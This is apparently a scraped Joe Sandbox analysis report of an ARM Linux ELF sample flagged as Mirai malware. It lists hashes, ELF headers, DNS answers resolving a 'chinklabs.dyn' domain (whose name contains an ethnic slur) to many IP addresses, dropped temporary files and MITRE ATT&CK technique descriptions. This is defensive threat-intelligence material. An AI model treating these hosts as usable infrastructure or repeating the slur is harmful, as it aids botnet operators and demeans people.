	6VXQ3TUNZo.elf	Get hash	malicious	Mirai	Browse	153.30.157.5

Process:	/tmp/MUm3efxWut.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	283
Entropy (8bit):	3.1239753048484125
Encrypted:	false
SSDEEP:	6:ZDF0/VWDFfXNl/Vtj/VjmsVot/VOArB/VH:Zllbil
MD5:	EDFA7A80AE3A8B80B8101B32B436E0F8
SHA1:	4B14F79334D8A795DED998AFC87ABDB2851D2098
SHA-256:	963A1DEFC003F6AB384A20060D74B250456393D0CEC0FF361AFB236CB6E47C04
SHA-512:	BF54CA25D9E29BAD3F70C4BC05C87F8DE9FB3493CDCEBB5DB9887C81DA2740A478A4B3928B3757ACA4EDCF8F8E59B0D01F04516B7B050A6E1740CF7284538C89
Malicious:	false
Reputation:	low
Preview:	8000-18000 r-xp 00000000 fd:00 531606 /tmp/..1f000-20000 rw-p 0000f000 fd:00 531606 /tmp/..20000-22000 rw-p 00000000 00:00 0 .22000-23000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.072905232734746
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	MUm3efxWut.elf
File size:	63'572 bytes
MD5:	c10d209871d0561cd870e933eeded9ee
SHA1:	41ff778af90f1376d7cddfe3799741318bf8702e
SHA256:	47134fd761454838d25e25abf134b30be67c1e53f0ab537c6a7d995f810d74cf
SHA512:	a008c7972c67830f6aad3d54cbde17ef2003928c01e4e42f3af009a56b6ab33148de7132acce3fe2679178aa3bdbeaec01eaa3380f8b41cb59ba2c5c61aa1705
SSDEEP:	1536:/mlyBiZfAPZm6I3cW42k5CGWFpCrg3rJnI8sR:/mlyBi5sW4GJFMrgbJnI
TLSH:	0253F885B891CA57C6D462BBFA5E82CD332523E8D1EF7207DD116F153B8A82F0D6B241
File Content Preview:	.ELF...a..........(.........4...........4. ...(.....................................................................Q.td..................................-...L."....8..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	63132
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xe2d0	0x0	0x6	AX	16
.fini	PROGBITS	0x16380	0xe380	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x16394	0xe394	0x1140	0x0	0x2	A	4
.ctors	PROGBITS	0x1f4d8	0xf4d8	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f4e0	0xf4e0	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1f4e8	0xf4e8	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1f4ec	0xf4ec	0x16c	0x0	0x3	WA	4
.bss	NOBITS	0x1f658	0xf658	0x1198	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf658	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xf4d4	0xf4d4	6.1039	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf4d8	0x1f4d8	0x1f4d8	0x180	0x1318	0.8447	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	86.104.194.181	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	204.76.203.5	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	204.76.203.223	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	86.104.194.171	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	204.76.203.103	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	204.76.203.63	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	5.181.80.59	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	5.181.80.140	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	5.181.80.130	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	5.181.80.189	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	5.181.80.61	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	5.181.80.60	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	86.104.194.178	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	204.76.203.101	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:32:28.936743975 CEST	64.176.6.48	192.168.2.14	0x2750	No error (0)	chinklabs.dyn	86.104.194.115	A (IP address)	IN (0x0001)	false

Start time (UTC):	09:32:26
Start date (UTC):	27/04/2024
Path:	/tmp/MUm3efxWut.elf
Arguments:	/tmp/MUm3efxWut.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	09:32:27
Start date (UTC):	27/04/2024
Path:	/tmp/MUm3efxWut.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report MUm3efxWut.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0NuApT (deleted)

/tmp/qemu-open.16kAYW (deleted)

/tmp/qemu-open.17wPES (deleted)

/tmp/qemu-open.3Ej6nU (deleted)

/tmp/qemu-open.3a2eqT (deleted)

/tmp/qemu-open.4HgXdX (deleted)

/tmp/qemu-open.4iBT1S (deleted)

/tmp/qemu-open.5KVWAW (deleted)

/tmp/qemu-open.5Lrx7T (deleted)

/tmp/qemu-open.6FtG5V (deleted)

/tmp/qemu-open.6uJb2T (deleted)

/tmp/qemu-open.8FvR6S (deleted)

/tmp/qemu-open.9CRl7V (deleted)

/tmp/qemu-open.9DtxFV (deleted)

/tmp/qemu-open.A0WjsU (deleted)

/tmp/qemu-open.AXaC0U (deleted)

/tmp/qemu-open.BRUUeT (deleted)

/tmp/qemu-open.CYRLCS (deleted)

/tmp/qemu-open.CdW2DU (deleted)

/tmp/qemu-open.DAKNMW (deleted)

/tmp/qemu-open.EJQkeU (deleted)

/tmp/qemu-open.FGbmjV (deleted)

/tmp/qemu-open.FGcuoT (deleted)

/tmp/qemu-open.FRsgyU (deleted)

/tmp/qemu-open.FgR42S (deleted)

/tmp/qemu-open.FqWYFT (deleted)

/tmp/qemu-open.IsGq4S (deleted)

/tmp/qemu-open.KDv3FV (deleted)

/tmp/qemu-open.Mjpy5S (deleted)

/tmp/qemu-open.OMakNU (deleted)

Linux Analysis Report
MUm3efxWut.elf

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre